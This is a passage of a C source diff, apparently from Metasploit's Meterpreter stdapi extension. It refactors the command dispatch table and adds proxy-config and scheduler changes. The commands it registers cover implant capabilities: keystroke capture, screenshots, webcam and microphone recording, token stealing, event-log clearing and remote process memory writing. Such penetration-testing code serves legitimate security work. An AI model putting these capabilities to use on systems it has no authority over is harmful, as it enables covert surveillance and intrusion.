packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxyConfig.lpszAutoConfigUrl);
GlobalFree((HGLOBAL)proxyConfig.lpszAutoConfigUrl);
}
if (proxyConfig.lpszProxy) {
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXY, proxyConfig.lpszProxy);
GlobalFree((HGLOBAL)proxyConfig.lpszProxy);
}
if (proxyConfig.lpszProxyBypass) {
packet_add_tlv_wstring(response, TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxyConfig.lpszProxyBypass);
GlobalFree((HGLOBAL)proxyConfig.lpszProxyBypass);
}
dwResult = ERROR_SUCCESS;
} while(0);
if (hWinHttp != NULL) {
FreeLibrary(hWinHttp);
}
#else
// no support for this on "nix"
#endif
packet_transmit_response(dwResult, remote, response);
return dwResult;
}

@ -59,6 +59,8 @@ DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet);
DWORD request_net_config_get_netstat(Remote *remote, Packet *packet); DWORD request_net_config_get_netstat(Remote *remote, Packet *packet);
DWORD request_net_config_get_proxy_config(Remote *remote, Packet *packet);
// Socket // Socket
DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet); DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet);

@ -328,7 +328,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE); WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify ); dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify); scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
} }
} while (0); } while (0);
@ -375,7 +375,7 @@ VOID free_socket_context(SocketContext *ctx)
{ {
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify); dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
// The scheduler calls CloseHandle on our WSACreateEvent() for us // The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_remove_waitable(ctx->notify); scheduler_signal_waitable(ctx->notify, Stop);
ctx->notify = NULL; ctx->notify = NULL;
} }

@ -27,7 +27,7 @@ VOID free_tcp_server_context( TcpServerContext * ctx )
if( ctx->notify ) if( ctx->notify )
{ {
scheduler_remove_waitable( ctx->notify ); scheduler_signal_waitable( ctx->notify, Stop );
ctx->notify = NULL; ctx->notify = NULL;
} }
@ -105,7 +105,7 @@ TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverct
if( !clientctx->channel ) if( !clientctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE );
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify ); dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL );
} while( 0 ); } while( 0 );
@ -266,7 +266,7 @@ DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet )
if( !ctx->channel ) if( !ctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_server_notify ); scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL );
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) ); packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) );

@ -129,7 +129,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
{ {
dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify ); dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify );
// The scheduler calls CloseHandle on our WSACreateEvent() for us // The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_remove_waitable( ctx->sock.notify ); scheduler_signal_waitable( ctx->sock.notify, Stop );
ctx->sock.notify = NULL; ctx->sock.notify = NULL;
} }
@ -323,7 +323,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
if( !ctx->sock.channel ) if( !ctx->sock.channel )
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
scheduler_insert_waitable( ctx->sock.notify, ctx, (WaitableNotifyRoutine)udp_channel_notify ); scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) ); packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );

@ -3,6 +3,7 @@
#ifdef _WIN32 #ifdef _WIN32
// sf: Compatability fix for a broken sdk? We get errors in Iphlpapi.h using the latest Windows SDK if we dont do this. // sf: Compatability fix for a broken sdk? We get errors in Iphlpapi.h using the latest Windows SDK if we dont do this.
#undef _WIN32_WINNT
#define _WIN32_WINNT _WIN32_WINNT_WIN2K #define _WIN32_WINNT _WIN32_WINNT_WIN2K
#include "../stdapi.h" #include "../stdapi.h"
#include <tlhelp32.h> #include <tlhelp32.h>
@ -63,6 +64,7 @@
#include "net/net.h" #include "net/net.h"
#include "ui/ui.h" #include "ui/ui.h"
#include "webcam/webcam.h" #include "webcam/webcam.h"
#include "webcam/audio.h"
#ifdef _WIN32 #ifdef _WIN32
#include "railgun/railgun.h" // PKS, win32 specific at the moment. #include "railgun/railgun.h" // PKS, win32 specific at the moment.

@ -21,447 +21,153 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
Command customCommands[] = Command customCommands[] =
{ {
// General // General
{ "core_channel_open", COMMAND_REQ( "core_channel_open", request_general_channel_open ),
{ request_general_channel_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef WIN32 #ifdef WIN32
// Railgun // Railgun
{ "stdapi_railgun_api", COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
{ request_railgun_api, { 0 }, 0 }, COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
}, COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
{ "stdapi_railgun_api_multi",
{ request_railgun_api_multi, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memread",
{ request_railgun_memread, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memwrite",
{ request_railgun_memwrite, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
// Fs // Fs
{ "stdapi_fs_ls", COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
{ request_fs_ls, { 0 }, 0 }, COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
}, COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
{ "stdapi_fs_getwd", COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
{ request_fs_getwd, { 0 }, 0 }, COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
}, COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
{ "stdapi_fs_chdir", COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
{ request_fs_chdir, { 0 }, 0 }, COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
}, COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
{ "stdapi_fs_mkdir",
{ request_fs_mkdir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_dir",
{ request_fs_delete_dir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_file",
{ request_fs_delete_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_separator",
{ request_fs_separator, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_stat",
{ request_fs_stat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_expand_path",
{ request_fs_file_expand_path, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_move",
{ request_fs_file_move, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32 #ifdef _WIN32
{ "stdapi_fs_search", COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
{ request_fs_search, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
{ "stdapi_fs_md5",
{ request_fs_md5, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_sha1",
{ request_fs_sha1, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Process // Process
{ "stdapi_sys_process_attach", COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
{ request_sys_process_attach, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
}, COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
{ "stdapi_sys_process_close", COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
{ request_sys_process_close, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
}, COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
{ "stdapi_sys_process_execute",
{ request_sys_process_execute, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_kill",
{ request_sys_process_kill, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_processes",
{ request_sys_process_get_processes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_getpid",
{ request_sys_process_getpid, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_info",
{ request_sys_process_get_info, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_wait",
{ request_sys_process_wait, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32 #ifdef _WIN32
// Image // Image
{ "stdapi_sys_process_image_load", COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
{ request_sys_process_image_load, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
}, COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
{ "stdapi_sys_process_image_get_proc_address",
{ request_sys_process_image_get_proc_address, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_unload",
{ request_sys_process_image_unload, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_get_images",
{ request_sys_process_image_get_images, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Memory // Memory
{ "stdapi_sys_process_memory_allocate", COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
{ request_sys_process_memory_allocate, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
}, COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
{ "stdapi_sys_process_memory_free", COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
{ request_sys_process_memory_free, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
}, COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
{ "stdapi_sys_process_memory_read",
{ request_sys_process_memory_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_write",
{ request_sys_process_memory_write, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_query",
{ request_sys_process_memory_query, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_protect",
{ request_sys_process_memory_protect, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_lock",
{ request_sys_process_memory_lock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_unlock",
{ request_sys_process_memory_unlock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Thread
{ "stdapi_sys_process_thread_open",
{ request_sys_process_thread_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_create",
{ request_sys_process_thread_create, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_close",
{ request_sys_process_thread_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_get_threads",
{ request_sys_process_thread_get_threads, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_suspend",
{ request_sys_process_thread_suspend, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_resume",
{ request_sys_process_thread_resume, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_terminate",
{ request_sys_process_thread_terminate, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_query_regs",
{ request_sys_process_thread_query_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_set_regs",
{ request_sys_process_thread_set_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Thread
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
// Registry // Registry
{ "stdapi_registry_load_key", COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
{ request_registry_load_key, { 0 }, 0 }, COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
}, COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
{ "stdapi_registry_unload_key", COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
{ request_registry_unload_key, { 0 }, 0 }, COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
}, COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
{ "stdapi_registry_open_key", COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
{ request_registry_open_key, { 0 }, 0 }, COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
}, COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
{ "stdapi_registry_open_remote_key", COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
{ request_registry_open_remote_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_create_key",
{ request_registry_create_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_key",
{ request_registry_enum_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_key",
{ request_registry_delete_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_close_key",
{ request_registry_close_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_set_value",
{ request_registry_set_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_value",
{ request_registry_query_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_class",
{ request_registry_query_class, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_value",
{ request_registry_enum_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_value",
{ request_registry_delete_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
// Sys/config // Sys/config
{ "stdapi_sys_config_getuid", COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
{ request_sys_config_getuid, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
}, COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
{ "stdapi_sys_config_sysinfo",
{ request_sys_config_sysinfo, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_rev2self",
{ request_sys_config_rev2self, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_getprivs",
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32 #ifdef _WIN32
{ "stdapi_sys_config_steal_token", COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
{ request_sys_config_steal_token, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_drop_token",
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
// Net // Net
{ "stdapi_net_config_get_routes", COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
{ request_net_config_get_routes, { 0 }, 0 }, COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
}, COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
{ "stdapi_net_config_add_route", COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
{ request_net_config_add_route, { 0 }, 0 }, COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_remove_route",
{ request_net_config_remove_route, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_interfaces",
{ request_net_config_get_interfaces, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_arp_table",
{ request_net_config_get_arp_table, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_netstat",
{ request_net_config_get_netstat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef WIN32 #ifdef WIN32
{ "stdapi_net_config_get_proxy",
{ request_net_config_get_proxy_config, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Resolve // Resolve
{ "stdapi_net_resolve_host", COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
{ request_resolve_host, { 0 }, 0 }, COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_resolve_hosts",
{ request_resolve_hosts, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
// Socket // Socket
{ "stdapi_net_socket_tcp_shutdown", COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
{ request_net_socket_tcp_shutdown, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32 #ifdef _WIN32
// UI // UI
{ "stdapi_ui_enable_mouse", COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
{ request_ui_enable_mouse, { 0 }, 0 }, COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
}, COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
{ "stdapi_ui_enable_keyboard", COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
{ request_ui_enable_keyboard, { 0 }, 0 }, COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
}, COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
{ "stdapi_ui_get_idle_time", COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
{ request_ui_get_idle_time, { 0 }, 0 }, COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_start_keyscan",
{ request_ui_start_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_stop_keyscan",
{ request_ui_stop_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_get_keys",
{ request_ui_get_keys, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_enum",
{ request_ui_desktop_enum, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_get",
{ request_ui_desktop_get, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_set",
{ request_ui_desktop_set, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_screenshot",
{ request_ui_desktop_screenshot, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Event Log // Event Log
{ "stdapi_sys_eventlog_open", COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
{ request_sys_eventlog_open, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
}, COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
{ "stdapi_sys_eventlog_numrecords", COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
{ request_sys_eventlog_numrecords, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_read",
{ request_sys_eventlog_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_oldest",
{ request_sys_eventlog_oldest, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_clear",
{ request_sys_eventlog_clear, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_close",
{ request_sys_eventlog_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_power_exitwindows", // Power
{ request_sys_power_exitwindows, { 0 }, 0 }, COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
{ EMPTY_DISPATCH_HANDLER },
},
// Webcam // Webcam
{ "webcam_list", COMMAND_REQ( "webcam_list", request_webcam_list ),
{ request_webcam_list, { 0 }, 0 }, COMMAND_REQ( "webcam_start", request_webcam_start ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
}, COMMAND_REQ( "webcam_stop", request_webcam_stop ),
{ "webcam_start",
{ request_webcam_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_get_frame",
{ request_webcam_get_frame, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_stop",
{ request_webcam_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Audio // Audio
{ "webcam_audio_record", COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
{ request_ui_record_mic, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif #endif
// Terminator COMMAND_TERMINATOR
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
@ -473,19 +179,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD InitServerExtension(Remote *remote) DWORD InitServerExtension(Remote *remote)
#endif #endif
{ {
DWORD index;
#ifdef _WIN32 #ifdef _WIN32
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
#endif #endif
for (index = 0; command_register_all( customCommands );
customCommands[index].method;
index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
@ -499,12 +196,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD DeinitServerExtension(Remote *remote) DWORD DeinitServerExtension(Remote *remote)
#endif #endif
{ {
DWORD index; command_deregister_all( customCommands );
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -363,26 +363,36 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
else if (v.dwMinorVersion == 2) else if (v.dwMinorVersion == 2)
osName = "Windows .NET Server"; osName = "Windows .NET Server";
} }
else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 0) else if (v.dwMajorVersion == 6)
{ {
if (v.wProductType == VER_NT_WORKSTATION) if (v.dwMinorVersion == 0)
osName = "Windows Vista"; {
else if (v.wProductType == VER_NT_WORKSTATION)
osName = "Windows 2008"; osName = "Windows Vista";
} else
else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 1) osName = "Windows 2008";
{ }
if (v.wProductType == VER_NT_WORKSTATION) else if (v.dwMinorVersion == 1)
osName = "Windows 7"; {
else if (v.wProductType == VER_NT_WORKSTATION)
osName = "Windows 2008 R2"; osName = "Windows 7";
} else
else if (v.dwMajorVersion == 6 && v.dwMinorVersion == 2) osName = "Windows 2008 R2";
{ }
if (v.wProductType == VER_NT_WORKSTATION) else if (v.dwMinorVersion == 2)
osName = "Windows 8"; {
else if (v.wProductType == VER_NT_WORKSTATION)
